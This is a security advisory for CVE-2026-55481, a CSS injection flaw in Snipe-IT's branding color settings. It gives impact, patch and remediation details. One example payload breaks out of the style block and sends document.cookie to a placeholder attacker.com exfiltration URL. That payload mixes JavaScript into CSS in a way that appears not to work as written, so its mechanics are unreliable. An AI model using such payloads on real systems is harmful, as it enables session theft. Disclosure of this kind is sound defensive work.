CVE-2026-55481: Snipe-IT: CSS Injection via `header_color` Setting
Impact
Because default.blade.php is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.
Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.
Details The headercolor setting (and related color settings such as navcolor and linkcolor) is rendered inside a CSS <style> block using Laravel's {{ }} syntax:
--main-theme-color: {{ $snipeSettings->headercolor ?? '#3c8dbc' }};
Although {{ }} applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the Settings > Branding page can inject arbitrary CSS by setting the headercolor value to something like:
#fff; } body { background: url('https://attacker.com/exfil?c='+document.cookie); } .x {
This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load.
Patches Patched in https://github.com/grokability/snipe-it/pull/19097
Workarounds Enable CSP in your .env file.
Other sources
Snipe-IT is an IT asset/license management system. Prior to 8.6.2, default.blade.php renders headercolor and related branding color settings inside a CSS style block with HTML escaping that is insufficient for the CSS context, allowing a superadmin to inject arbitrary CSS that affects authenticated users on subsequent page loads when Content Security Policy is disabled. This issue is fixed in version 8.6.2.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/snipe/snipe-itto a version that resolves this vulnerability.Fixed in 8.6.2 - Upgrade
Upgrade
Snipe-ITto a version that resolves this vulnerability.Fixed in 8.6.2Patch https://github.com/grokability/snipe-it/pull/19097 - Configuration
Enable CSP in your Snipe-IT .env file, since CSP is disabled by default in Snipe-IT installations and is a primary browser-level mitigation for this CSS injection/exfiltration vector.
Snipe-IT (Content Security Policy) Content Security Policy = enabled
Event History
Frequently Asked Questions
What is the severity of CVE-2026-55481?
CVE-2026-55481 has a medium severity rating of 6.2 according to the CVSS score.
How do I fix CVE-2026-55481?
To fix CVE-2026-55481, upgrade to Snipe-IT version 8.6.2 or later.
What exploitation can occur due to CVE-2026-55481?
CVE-2026-55481 allows an authenticated superadmin to inject arbitrary CSS that may affect other users.
Which software is affected by CVE-2026-55481?
CVE-2026-55481 affects versions of the Snipe-IT IT asset/license management system prior to 8.6.2.
Is CVE-2026-55481 related to XSS vulnerabilities?
Yes, CVE-2026-55481 is related to XSS as it involves CSS injection that can compromise the integrity of styles.